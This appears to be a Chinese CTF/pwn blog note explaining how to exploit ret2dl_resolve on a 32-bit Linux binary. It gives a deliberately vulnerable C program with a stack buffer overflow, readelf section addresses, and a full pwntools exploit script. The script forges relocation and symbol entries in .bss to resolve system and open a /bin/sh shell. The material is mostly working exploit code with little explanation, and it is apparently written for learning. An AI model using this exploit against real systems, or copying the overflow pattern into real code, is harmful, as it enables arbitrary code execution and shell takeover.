【Pwn 笔记】简单记如何利用 Ret2_dl_resolve
原理太绕了,我先写写如何利用吧
本题以一道 C 程序为例,程序如下:
1 2 3 4 5 6 7 8 9 10 11 12
| #include <unistd.h> #include <string.h> char gift[0x200]; void fun(){ char buffer[0x20]; read(0,buffer,0x200); } int main(){ fun(); return 0; }
|
编译好程序后,我们可以利用readelf -S ./dl
命令来查看我们需要的地址:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39
| 共有 31 个节头,从偏移量 0x1804 开始:
节头: [Nr] Name Type Addr Off Size ES Flg Lk Inf Al [ 0] NULL 00000000 000000 000000 00 0 0 0 [ 1] .interp PROGBITS 08048154 000154 000013 00 A 0 0 1 [ 2] .note.ABI-tag NOTE 08048168 000168 000020 00 A 0 0 4 [ 3] .note.gnu.build-i NOTE 08048188 000188 000024 00 A 0 0 4 [ 4] .gnu.hash GNU_HASH 080481ac 0001ac 000020 04 A 5 0 4 [ 5] .dynsym DYNSYM 080481cc 0001cc 000050 10 A 6 1 4 [ 6] .dynstr STRTAB 0804821c 00021c 00004a 00 A 0 0 1 [ 7] .gnu.version VERSYM 08048266 000266 00000a 02 A 5 0 2 [ 8] .gnu.version_r VERNEED 08048270 000270 000020 00 A 6 1 4 [ 9] .rel.dyn REL 08048290 000290 000008 08 A 5 0 4 [10] .rel.plt REL 08048298 000298 000010 08 AI 5 24 4 [11] .init PROGBITS 080482a8 0002a8 000023 00 AX 0 0 4 [12] .plt PROGBITS 080482d0 0002d0 000030 04 AX 0 0 16 [13] .plt.got PROGBITS 08048300 000300 000008 00 AX 0 0 8 [14] .text PROGBITS 08048310 000310 0001a2 00 AX 0 0 16 [15] .fini PROGBITS 080484b4 0004b4 000014 00 AX 0 0 4 [16] .rodata PROGBITS 080484c8 0004c8 000008 00 A 0 0 4 [17] .eh_frame_hdr PROGBITS 080484d0 0004d0 000034 00 A 0 0 4 [18] .eh_frame PROGBITS 08048504 000504 0000ec 00 A 0 0 4 [19] .init_array INIT_ARRAY 08049f08 000f08 000004 00 WA 0 0 4 [20] .fini_array FINI_ARRAY 08049f0c 000f0c 000004 00 WA 0 0 4 [21] .jcr PROGBITS 08049f10 000f10 000004 00 WA 0 0 4 [22] .dynamic DYNAMIC 08049f14 000f14 0000e8 08 WA 6 0 4 [23] .got PROGBITS 08049ffc 000ffc 000004 04 WA 0 0 4 [24] .got.plt PROGBITS 0804a000 001000 000014 04 WA 0 0 4 [25] .data PROGBITS 0804a014 001014 000008 00 WA 0 0 4 [26] .bss NOBITS 0804a020 00101c 000220 00 WA 0 0 32 [27] .comment PROGBITS 00000000 00101c 000035 01 MS 0 0 1 [28] .shstrtab STRTAB 00000000 0016f7 00010a 00 0 0 1 [29] .symtab SYMTAB 00000000 001054 000470 10 30 47 4 [30] .strtab STRTAB 00000000 0014c4 000233 00 0 0 1 Key to Flags: W (write), A (alloc), X (execute), M (merge), S (strings) I (info), L (link order), G (group), T (TLS), E (exclude), x (unknown) O (extra OS processing required) o (OS specific), p (processor specific)
|
程序主流程大概是这样的:
1
| dl_indexbase(push xx)——>.rel.plt(Elf32_Rel)——>.dynsym(Elf32_Sym)——>.dynstr(st_name)
|
给出利用脚本如下,多调试,不是死写法:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73
|
from pwn import *
debug = 1 context(arch="i386", endian='el', os="linux") context.log_level="debug" if debug == 1: p = process('./dl') else: p = remote('', ) elf = ELF('./dl', checksec=False) got_read = elf.got['read'] plt_read = elf.plt['read'] addr_fun = elf.sym['fun'] addr_bss = elf.bss(0x20)
addr_rel_plt = 0x08048298 addr_dynsym = 0x080481cc addr_dynstr = 0x0804821c addr_plt_0 = 0x080482d0
dl_indexbase = addr_bss - addr_rel_plt
dl_index_dynsym = (addr_bss + 0xc - addr_dynsym) / 0x10
dl_r_info = (dl_index_dynsym << 8) | 7
dl_st_name = addr_bss + 0x1c - addr_dynstr
pd = 'a' * 0x2c pd += p32(plt_read) pd += p32(addr_fun) pd += p32(0) pd += p32(addr_bss) pd += p32(0x100) p.send(pd)
success('dl_indexbase = ' + hex(dl_indexbase)) success('dl_index_dynsym = ' + hex(dl_index_dynsym)) success('dl_r_info = ' + hex(dl_r_info)) success('dl_st_name = ' + hex(dl_st_name))
pd = p32(got_read) pd += p32(dl_r_info)
pd += p32(0)
pd += p32(dl_st_name)
pd += p32(0) * 2 pd += p32(12)
pd += 'system\x00\x00'
pd += '/bin/sh\x00' p.send(pd) sleep(1)
pd = 'a' * 0x2c pd += p32(addr_plt_0) pd += p32(dl_indexbase) pd += p32(addr_fun) pd += p32(addr_bss + 9 * 4) p.sendline(pd) p.interactive()
|